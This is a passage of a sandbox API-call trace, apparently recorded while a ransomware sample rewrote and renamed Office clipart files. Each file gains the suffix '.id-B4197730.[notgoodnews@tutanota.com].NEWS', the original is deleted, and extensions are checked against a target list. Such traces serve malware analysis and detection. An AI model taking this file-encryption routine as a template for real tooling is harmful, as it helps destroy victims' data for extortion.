GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0091.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.336] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.336] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0091.337] GetLastError () returned 0x0 [0091.337] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xe392, lpOverlapped=0x0) returned 1 [0091.632] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0091.634] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.634] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.634] SetEndOfFile (hFile=0x370) returned 1 [0091.634] CloseHandle (hObject=0x370) returned 1 [0091.634] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.635] SetEndOfFile (hFile=0x39c) returned 1 [0091.636] CloseHandle (hObject=0x39c) returned 1 [0091.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0091.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.863] lstrlenW (lpString=".doc") returned 4 [0091.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.863] lstrlenW (lpString=".docx") returned 5 [0091.863] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0091.863] lstrlenW (lpString=".pdf") returned 4 [0091.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.863] lstrlenW (lpString=".xls") returned 4 [0091.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.863] lstrlenW (lpString=".xlsx") returned 5 [0091.863] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0091.863] lstrlenW (lpString=".ppt") returned 4 [0091.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.863] lstrlenW (lpString=".zip") returned 4 [0091.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.863] lstrlenW (lpString=".rar") returned 4 [0091.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.863] lstrlenW (lpString=".bz2") returned 4 [0091.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.863] lstrlenW (lpString=".7z") returned 3 [0091.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.863] lstrlenW (lpString=".dbf") returned 4 [0091.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.863] lstrlenW (lpString=".1cd") returned 4 [0091.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.863] lstrlenW (lpString=".jpg") returned 4 [0091.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.864] lstrlenW (lpString=".doc") returned 4 [0091.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString=".docx") returned 5 [0091.864] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0091.864] lstrlenW (lpString=".pdf") returned 4 [0091.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString=".xls") returned 4 [0091.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.864] lstrlenW (lpString=".xlsx") returned 5 [0091.864] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0091.864] lstrlenW (lpString=".ppt") returned 4 [0091.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.864] lstrlenW (lpString=".zip") returned 4 [0091.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.864] lstrlenW (lpString=".rar") returned 4 [0091.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString=".bz2") returned 4 [0091.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString=".7z") returned 3 [0091.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.864] lstrlenW (lpString=".dbf") returned 4 [0091.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.864] lstrlenW (lpString=".1cd") returned 4 [0091.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0091.864] lstrlenW (lpString=".jpg") returned 4 [0091.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.864] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.865] lstrlenW (lpString="J0099186.JPG") returned 12 [0091.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.173] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=16738) returned 1 [0092.187] CloseHandle (hObject=0x350) returned 1 [0092.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0092.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.188] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.188] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0092.613] GetLastError () returned 0x0 [0092.613] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4162, lpOverlapped=0x0) returned 1 [0092.614] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4170, lpOverlapped=0x0) returned 1 [0092.615] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.616] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.616] SetEndOfFile (hFile=0x308) returned 1 [0092.616] CloseHandle (hObject=0x308) returned 1 [0092.616] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.616] SetEndOfFile (hFile=0x350) returned 1 [0092.617] CloseHandle (hObject=0x350) returned 1 [0092.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0092.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.617] lstrlenW (lpString=".doc") returned 4 [0092.617] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.617] lstrlenW (lpString=".docx") returned 5 [0092.617] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0092.618] lstrlenW (lpString=".pdf") returned 4 [0092.618] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.618] lstrlenW (lpString=".xls") returned 4 [0092.618] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.618] lstrlenW (lpString=".xlsx") returned 5 [0092.618] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0092.618] lstrlenW (lpString=".ppt") returned 4 [0092.618] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.618] lstrlenW (lpString=".zip") returned 4 [0092.618] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.618] lstrlenW (lpString=".rar") returned 4 [0092.618] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.618] lstrlenW (lpString=".bz2") returned 4 [0092.618] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.618] lstrlenW (lpString=".7z") returned 3 [0092.618] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.618] lstrlenW (lpString=".dbf") returned 4 [0092.618] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.618] lstrlenW (lpString=".1cd") returned 4 [0092.618] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.618] lstrlenW (lpString=".jpg") returned 4 [0092.618] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.618] lstrlenW (lpString=".doc") returned 4 [0092.618] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.618] lstrlenW (lpString=".docx") returned 5 [0092.618] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0092.618] lstrlenW (lpString=".pdf") returned 4 [0092.618] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.618] lstrlenW (lpString=".xls") returned 4 [0092.618] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.618] lstrlenW (lpString=".xlsx") returned 5 [0092.619] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0092.619] lstrlenW (lpString=".ppt") returned 4 [0092.619] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.619] lstrlenW (lpString=".zip") returned 4 [0092.619] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.619] lstrlenW (lpString=".rar") returned 4 [0092.619] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.619] lstrlenW (lpString=".bz2") returned 4 [0092.619] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.619] lstrlenW (lpString=".7z") returned 3 [0092.619] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.619] lstrlenW (lpString=".dbf") returned 4 [0092.619] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.619] lstrlenW (lpString=".1cd") returned 4 [0092.619] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0092.619] lstrlenW (lpString=".jpg") returned 4 [0092.619] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.619] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.619] lstrlenW (lpString="J0099195.GIF") returned 12 [0092.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.620] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=19923) returned 1 [0092.620] CloseHandle (hObject=0x350) returned 1 [0092.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0092.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.621] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.621] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0092.621] GetLastError () returned 0x0 [0092.621] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0092.623] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0092.624] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.624] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.624] SetEndOfFile (hFile=0x308) returned 1 [0092.624] CloseHandle (hObject=0x308) returned 1 [0092.624] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.624] SetEndOfFile (hFile=0x350) returned 1 [0092.625] CloseHandle (hObject=0x350) returned 1 [0092.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0092.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.626] lstrlenW (lpString=".doc") returned 4 [0092.626] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.626] lstrlenW (lpString=".docx") returned 5 [0092.626] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0092.626] lstrlenW (lpString=".pdf") returned 4 [0092.626] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.626] lstrlenW (lpString=".xls") returned 4 [0092.626] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.626] lstrlenW (lpString=".xlsx") returned 5 [0092.626] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0092.626] lstrlenW (lpString=".ppt") returned 4 [0092.626] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.626] lstrlenW (lpString=".zip") returned 4 [0092.626] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.626] lstrlenW (lpString=".rar") returned 4 [0092.626] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.626] lstrlenW (lpString=".bz2") returned 4 [0092.626] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.626] lstrlenW (lpString=".7z") returned 3 [0092.626] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.626] lstrlenW (lpString=".dbf") returned 4 [0092.626] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.626] lstrlenW (lpString=".1cd") returned 4 [0092.627] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.627] lstrlenW (lpString=".jpg") returned 4 [0092.627] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.627] lstrlenW (lpString=".doc") returned 4 [0092.627] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.627] lstrlenW (lpString=".docx") returned 5 [0092.627] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0092.627] lstrlenW (lpString=".pdf") returned 4 [0092.627] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.627] lstrlenW (lpString=".xls") returned 4 [0092.627] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.627] lstrlenW (lpString=".xlsx") returned 5 [0092.627] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0092.627] lstrlenW (lpString=".ppt") returned 4 [0092.627] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.627] lstrlenW (lpString=".zip") returned 4 [0092.627] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.627] lstrlenW (lpString=".rar") returned 4 [0092.627] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.627] lstrlenW (lpString=".bz2") returned 4 [0092.627] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.627] lstrlenW (lpString=".7z") returned 3 [0092.627] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.627] lstrlenW (lpString=".dbf") returned 4 [0092.627] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.627] lstrlenW (lpString=".1cd") returned 4 [0092.627] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0092.627] lstrlenW (lpString=".jpg") returned 4 [0092.627] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.628] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.628] lstrlenW (lpString="J0099196.GIF") returned 12 [0092.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.628] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=14337) returned 1 [0092.628] CloseHandle (hObject=0x350) returned 1 [0092.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0092.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 